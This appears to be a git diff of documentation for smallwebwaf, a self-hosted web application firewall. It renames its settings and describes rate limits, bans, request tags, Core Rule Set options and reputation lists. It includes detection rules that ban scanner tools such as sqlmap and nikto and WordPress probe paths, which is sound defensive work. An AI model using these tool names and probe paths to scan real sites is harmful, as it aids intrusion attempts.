- `type`: `request`. - `type`: `request`.
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC. - `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
@@ -185,22 +229,23 @@ it to `servewaf`'s two. It has these fields and no others:
a WebSocket carried from the visitor. a WebSocket carried from the visitor.
- `response_bytes`: the bytes of the answer's body, with what a WebSocket - `response_bytes`: the bytes of the answer's body, with what a WebSocket
carried from the app. carried from the app.
- `duration_request`: milliseconds from the request's headers being read until - `duration_request_ms`: milliseconds from the request's headers being read
the app had been sent the whole request, or the answer started if that was until the app had been sent the whole request, or the answer started if that
sooner. It includes the wait for `servewaf`. was sooner. It includes the wait for `waf`.
- `duration_response`: milliseconds from then until the end of the answer. - `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It - `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `servewaf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left is `waf`'s answer, or the value of
out when: `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when:
- `servewaf` was not asked, as for the health check; - `waf` was not asked, as for the health check;
- the visitor went away while `servewaf` was being asked; - the visitor went away while `waf` was being asked;
- `servewaf`'s answer had no valid `X-Smallwebwaf-Disposition`; - `waf`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `servewaf`'s answer, and answered `502`. - `rproxy` could not pass on `waf`'s answer, and answered `502`.
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave - `waf_backend_no_answer`: `true` when
`disposition`, and otherwise left out. `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and
otherwise left out.
For example: For example:
``` ```
{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request":1.204,"duration_response":3.104,"disposition":"allow"} {"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request_ms":1.204,"duration_response_ms":3.104,"disposition":"allow"}
``` ```
+7 -8
View File
@@ -32,7 +32,7 @@ scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
## The default file ## The default file
The image ships one file, `share/rules.d/00-default.rules`, installed as The image ships one file, `share/rules.d/00-default.rules`, installed as
`/etc/smallwebwaf/rules.d/00-default.rules`: `/etc/sww/rules.d/00-default.rules`:
``` ```
# 00-default.rules: probes no real visitor sends, anchored at the site root # 00-default.rules: probes no real visitor sends, anchored at the site root
@@ -54,19 +54,18 @@ empty-agent user_agent log ^$
## A file of your own ## A file of your own
`servewaf` reads the rule files in its own container. Rules of your own go in a `waf` reads the rule files in its own container. Rules of your own go in a file
file named to sort after the default, such as `50-gitea.rules`: named to sort after the default, such as `50-site.rules`:
``` ```
# 50-gitea.rules: WordPress probes, which gitea never serves # 50-site.rules: WordPress probes, which this site never serves
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/) wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
``` ```
A `Dockerfile` built on the `smallwebwaf` image, for `servewaf` to run from, A `Dockerfile` built on the `smallwebwaf` image, for `waf` to run from, adds it:
adds it:
```dockerfile ```dockerfile
COPY 50-gitea.rules /etc/smallwebwaf/rules.d/50-gitea.rules COPY 50-site.rules /etc/sww/rules.d/50-site.rules
``` ```
Or mount it there. A `path` rule applies on every site behind that `servewaf`. Or mount it there. A `path` rule applies on every site behind that `waf`.
+334 -226
View File
@@ -4,14 +4,16 @@ Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why. that take `off`, the `_FILE` form, and what each group does and why.
The settings that start with `SWWAF_` are `servewaf`'s. Those that start with The settings that start with `SWW_WAF_` are `waf`'s. Those that start with
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SMALLWEBWAF_COMMAND` `SWW_RPROXY_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND`
chooses between the two (see "The image's command" below). chooses between the two (see "The image's command" below).
## Forms of values ## Forms of values
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
and negative durations are refused. and negative durations are refused.
- A time in milliseconds is a whole number above zero, such as `2000`. Its
setting's name ends in `_MS`.
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers - A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`. of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
- A count is a whole number of requests, such as `1000`. - A count is a whole number of requests, such as `1000`.
@@ -28,271 +30,374 @@ chooses between the two (see "The image's command" below).
## Core ## Core
- `SWWAF_LISTEN_ADDR` (default `:8080`): where `servewaf` listens: `:` and a - `SWW_WAF_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port,
port, such as `:9000`. Leave the host out (see "Ports" in such as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
[`SPEC.md`](../SPEC.md)). - `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
- `SWWAF_INSTANCE_NAME` (default: the container's host name): the `instance` name in each line `waf` logs, and in each alert and metric, such as
name in each line `servewaf` logs, and in each alert and metric, such as `fsn1/waf`. Valid UTF-8. No control character while `SWW_WAF_ALERT_NTFY_URL`
`fsn1/servewaf`. Valid UTF-8. No control character while is set. 1 to 48 printable ASCII characters without a space while
`SWWAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a `SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME` is not.
space while `SWWAF_LOG_REMOTE_URL` is set and `SWWAF_LOG_REMOTE_APP_NAME` is - `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
not. - `SWW_WAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
- `SWWAF_MODE` (default `enforce`): `enforce` or `observe`.
- `SWWAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
client's group, from 32 to 128. client's group, from 32 to 128.
- `SWWAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole - `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
number above zero. whole number above zero.
- `SWWAF_MAX_BANS` (default `5000`): how many of its own bans `servewaf` keeps, - `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a
a whole number above zero. whole number above zero.
## Tokens ## Tokens
- `SWWAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and - `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_smallwebwaf/clients/<ip>`. At least 32 characters. `/_sww/clients/<ip>`. At least 32 characters.
- `SWWAF_METRICS_TOKEN` (default unset): the token for `/_smallwebwaf/metrics`. - `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At
At least 32 characters. least 32 characters.
## State files ## State and cache files
- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state - `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
files, an absolute path that exists and can be written. files, an absolute path that can be written. The image's `run` script makes
- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be it.
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration. written after a ban is made, lifted or made permanent. A duration.
- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is - `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and
written. A duration. cache file is written. A duration.
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
files, an absolute path that can be written. The image's `run` script makes
it.
## Logging ## Logging
- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `servewaf`'s own - `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
messages that are written: `debug`, `info`, `warn` or `error`. that are written: `debug`, `info`, `warn` or `error`.
- `SWWAF_LOG_REQUEST_HEADERS` (default - `SWW_WAF_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the `accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and request headers recorded in the log line, in either case. `Host` and
`Transfer-Encoding` are refused; the host is the field `host`. `Transfer-Encoding` are refused; the host is the field `host`.
- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every - `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`, line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
each with a host and a port and nothing more. each with a host and a port and nothing more.
- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates - `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
that a `syslog+tls` server's certificate must chain to, instead of the host's that a `syslog+tls` server's certificate must chain to, instead of the host's
own. A file that cannot be read, or holds no certificate, is refused. own. A file that cannot be read, or holds no certificate, is refused.
- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they - `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while
wait to be sent, a whole number above zero. they wait to be sent, a whole number above zero.
- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`, - `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`, `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`. `authpriv`, `ftp`, or `local0` to `local7`.
- `SWWAF_LOG_REMOTE_APP_NAME` (default: `SWWAF_INSTANCE_NAME`): the app name in - `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name
each syslog record, 1 to 48 printable ASCII characters without a space. in each syslog record, 1 to 48 printable ASCII characters without a space.
## Metrics ## Metrics
- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many - `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS
countries get series of their own. A whole number above zero. numbers and how many countries get series of their own. A whole number above
zero.
## Static lists ## Static lists
- `SWWAF_ALLOW_NETS` (default empty): netblocks you trust, such as your - `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
monitoring (see step 3 in [`SPEC.md`](../SPEC.md)). monitoring (see step 4 in [`SPEC.md`](../SPEC.md)).
- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are - `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
exempt from rate limiting and the byte limits. exempt from rate limiting and the byte limits.
- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are refused (see - `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
step 3 in [`SPEC.md`](../SPEC.md)). step 4 in [`SPEC.md`](../SPEC.md)).
## Request rate limits, per client ## Request rate limits, per client
- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a The request past one of these limits is refused, and the client is banned.
client may make in a minute. A count or `off`. The default leaves room for a
person opening two gitea pages at once with an empty cache, up to 60 files - `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests
each. a client may make in a minute. A count or `off`. The default leaves room for a
- `SWWAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may person opening two pages at once with an empty cache, up to 60 files each.
- `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
make in an hour. A count or `off`. It is the main limit against scrapers. A make in an hour. A count or `off`. It is the main limit against scrapers. A
person reading code in gitea for an hour, a page every 20 seconds, makes person reading a site for an hour, a page every 20 seconds, makes about 900. A
about 900. A scraper making one request every 2 seconds makes 1,800 an hour, scraper making one request every 2 seconds makes 1,800 an hour, more than the
more than the limit. limit.
- `SWWAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may - `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
make in a day. A count or `off`. The default is four hours at the hour limit. make in a day. A count or `off`. The default is four hours at the hour limit.
A scraper making one request every 10 seconds makes 8,640 a day, more than the A scraper making one request every 10 seconds makes 8,640 a day, more than the
limit. limit.
- An Actions runner asks gitea for work all day and can pass the limits. Put the - A CI runner asks its code forge for work all day and can pass the limits. Put
runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
network where many people share one address, such as an office. network where many people share one address, such as an office.
- Counting cannot catch a client that stays under all three limits (see "Request - Counting cannot catch a client that stays under all three limits (see "Request
rate limits, per client" in [`SPEC.md`](../SPEC.md)). rate limits, per client" in [`SPEC.md`](../SPEC.md)).
- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from - `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
rate limiting and the byte limits, such as `/assets/`. rate limiting and the byte limits, such as `/assets/`.
## Byte limits, per client ## Byte limits, per client
- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWWAF_BYTES_LIMIT_PER_HOUR` These count body bytes, never headers. What the visitor sent over a WebSocket
(default `50G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most counts as request bytes, and what the app sent as response bytes. The bytes
bytes counted for a client in each window. A size or `off`. counted for a request and its response are added to the client's total once the
- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count: response has ended. The request that takes a client's total past a limit is not
`response`, `request` or `both`. cut off; the client is banned.
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which
bytes count: response bodies, request bodies or both. The request that passes
the limit is not cut off, and the client is banned when its response ends.
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte
anomaly thresholds count: `response`, the app's response bodies; `request`,
the visitors' request bodies; or `both`. What the visitor sent over a
WebSocket counts as request bytes, and what the app sent as response bytes.
## Lookup of AS number and country ## Lookup of AS number and country
- `SWWAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops - `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
the start while a setting that needs a lookup is set: stops the start while a setting that needs a lookup is set:
- the two country lists; - `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
- `SWWAF_ADD_LOOKUP_HEADERS`; - `SWW_WAF_ADD_LOOKUP_HEADERS`;
- the four biased threshold lists and `SWWAF_ASN_LIMIT_PERCENT_URL`; - `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
- `SWWAF_UNKNOWN_LIMIT_PERCENT` below `100`; or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number. - an anomaly threshold per AS number.
- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its - `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
`.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`. its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
- `SWWAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its - `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a
client's first answer from GeoJS, and how long a request to GeoJS may take. A request waits for its client's first answer from GeoJS, and how long a request
duration; never `off`. to GeoJS may take. A time in milliseconds; never `off`.
- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app - `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
the client's AS number in `X-Client-ASN` and its country in app the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`. `X-Client-Country`.
## Country lists ## Country list
- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused, - `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
such as `cn,ru,kp`. countries whose clients get through, such as `us,de`. A country whose
- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only `country=` tag is in `SWW_WAF_TAG_DENY` stops the start.
countries whose clients get through, such as `us,de`. A country on both lists
stops the start. ## Request tags
Every request gets tags from what `waf` knows of its client. See "Request tags"
in [`SPEC.md`](../SPEC.md).
- `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
`country=` tag without a country, is refused.
- `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's
limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A
percentage is from `1` to `99`, of every rate limit and byte limit. The lowest
percentage among a client's tags applies. A tag listed twice is refused. So is
`exploitsignature`: a request gets that tag after the rate limits have counted
it.
- `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
service that gives an address's announced netblock and origin AS. `waf` asks
it about each client, in the background, and adds the tags `asn=<number>` and
`prefix=<netblock>` from its answer. While it is unset, nothing asks
routewatch and no request gets a `prefix=` tag.
`SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A
tag that no request can get stops the start. A request can get only these:
- a name in `SWW_WAF_TAG_LISTS`;
- an `asn=` or `country=` tag;
- a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It
matches only that exact announced netblock, such as `prefix=192.0.2.0/24`;
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither
`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
`off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
the request first.
## Biased thresholds ## Biased thresholds
- `SWWAF_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:` - `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number (default empty): a percentage of the byte limits alone, for the AS numbers or
listed twice is refused. countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the
- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag.
`cn:25,ru:50`. An AS number or country listed twice is refused.
- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty): - `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a
the same, for the byte limits alone. client the lookup cannot place.
- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the - `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
lookup cannot place. a text file with one AS number and percentage on each line, such as
- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a `AS64496:50`. Each entry counts like an `asn=` tag in
text file with one AS number and percentage on each line, such as `SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is
`AS64496:50`. A URL that is also in `SWWAF_BLOCKLIST_URLS` is refused. refused.
## Attack detection ## Attack detection
- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the - `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the
rule files. rule files.
- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file. - `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file.
- `SWWAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as - `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`. `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWWAF_WAF_MODE` (default `block`): `off`, `detect` or `block`. - `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level, - `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
from 1 to 4. paranoia level, from 1 to 4.
- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a - `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a
match. A whole number above zero, or `off`. request is a match. A whole number above zero, or `off`.
- `SWWAF_WAF_DISABLED_RULES` (default - `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
to switch off. Each a whole number above zero. An id from 900000 to 900999 is to switch off. Each a whole number above zero. An id from 900000 to 900999 is
refused: those are the rules that set the Core Rule Set up, and refused: those are the rules that set the Core Rule Set up, and
`smallwebwaf`'s own. `smallwebwaf`'s own.
- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does - `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
not inspect. Rule Set does not inspect.
- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body - `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how
the Core Rule Set reads, a size of at most `64K`. A question carries no more much of a request body the Core Rule Set reads, a size of at most `64K`. A
of a body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one question carries no more of a body than 64 KiB, and the Core Rule Set reads at
byte of it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)). most 64 KiB less one byte of it, whatever the value (see "The answer" in
- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client [`SPEC.md`](../SPEC.md)).
in a minute (see "Attack detection" in `SPEC.md`). A count or `off`. - `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
Set exclusions, written as Coraza directives. It is loaded before the Core
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that
cannot be read or does not parse stops the start, whatever
`SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from
900000 to 900999 outside a comment, alone or in a range. So does a directive
that removes or changes rules as the file loads, such as `SecRuleRemoveById`,
since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form.
- `SWW_WAF_APPS` (default unset): the apps each hostname serves. A request gets
the fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `forgejo`, which gets gitea's fixes too;
- `ghost`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes. Set empty, `SWW_WAF_APPS` lists
no hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client
may get in a minute from a rule file, a trap path or the Core Rule Set, a
count or `off`. The next one bans the client (see "Attack detection" in
`SPEC.md`).
## Ban lengths, response and scope ## Ban lengths, response and scope
- `SWWAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`. - `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A - `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit.
duration. A duration.
- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends - `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration. within which breaking a limit again lengthens the next ban. A duration.
- `SWWAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; - `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
one that would be longer is permanent. A duration. that would be longer than this is permanent instead. A duration.
- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of - `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
attack. A duration. of attack. A duration.
- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client - `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
covers: the prefix length of its netblock, from 0 to 32. covers: the prefix length of its netblock, from 0 to 32.
## Reputation ## Reputation
- `SWWAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as - `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL `https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
without a user or a fragment. A URL listed twice is refused. without a user or a fragment. A URL listed twice is refused.
- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its - `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
last try before it is fetched again. A duration of `1h` or more. last try before it is fetched again. A duration of `1h` or more.
- `SWWAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`. - `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or
- `SWWAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as `log`.
- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus `dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
is refused, whatever its case or key. is refused, whatever its case or key.
- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through, - `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an
port, 53 when none is given. Unset, the host's resolver is used. optional port, 53 when none is given. Unset, the host's resolver is used.
- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A - `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
control character in it is refused. control character in it is refused.
- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score, - `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence
from 0 to 100, that is a hit. score, from 0 to 100, that is a hit.
- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, - `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
a whole number above zero. AbuseIPDB's free accounts may make 1,000. day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
